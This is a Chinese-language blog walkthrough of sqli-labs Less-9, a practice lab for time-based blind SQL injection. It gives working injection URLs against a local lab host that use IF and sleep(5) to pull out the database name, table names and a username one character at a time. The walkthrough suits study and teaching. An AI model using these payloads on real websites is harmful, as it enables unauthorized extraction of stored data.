sqli-labs

Posted -zhong

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqli-labs相关的知识,希望对你有一定的参考价值。

基于时间的GET单引号盲注

0x01爱之初试探

在我们注入了SQL代码之后,存在以下两种情况:

  • 如果注入的SQL代码不影响后台[数据库]的正常功能执行,那么Web应用的页面显示正确(原始页面)。
  • 如果注入的SQL代码影响后台数据库的正常功能(产生了SQL注入),但是此时Web应用的页面依旧显示正常(原因是Web应用程序采取了“重定向”或“屏蔽”措施)。

接下来,学习基于时间型SQL盲注。

我们在这里使用IF(查询语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确,即我们的出发点就回到了之前的基于布尔的SQL盲注,也就是构造查询语句来判断结果是否为真。

0x02爱之初体验

步骤一 枚举出当前数据库名

先判断能不能基于时间盲注来展开注入错误的语句 等了5秒才返回的 能基于时间的错误进行盲注

http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20sleep(5)%20%23

爆当前数据库民称 这里我们使用二分法进行

http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E114,%200,sleep(5))%20%23

立刻返回 证明第一个字母大于114

http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E115,%200,sleep(5))%20%23

过了5秒才返回 证明字母小<115 应该是ascii115 s

这里我们假设我们把库民报出来了 我们要爆表民

0X02爆表名

http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E100,%200,sleep(5))%20%23

直接返回大于100

http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E105,%200,sleep(5))%20%23

过了5秒才返回  那么这是错误的

101-105之间

这里就不一一举例了

爆列名 一样的构造方法

这里来看一下爆字段的语句构造方法

http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E100,%200,sleep(5))%20%23

这里 小编还是想去写一个脚本

等以后发出来吧

 

以上是关于sqli-labs的主要内容,如果未能解决你的问题,请参考以下文章

sqli-labs lesson 23

sqli-labs 页面显示sql语句

基于docker的sqli-labs搭建

(sql injection)sqli-lab 15: where 子句中的不可理解的行为

sqli-labs:Less-22

Sqli-Labs less23-24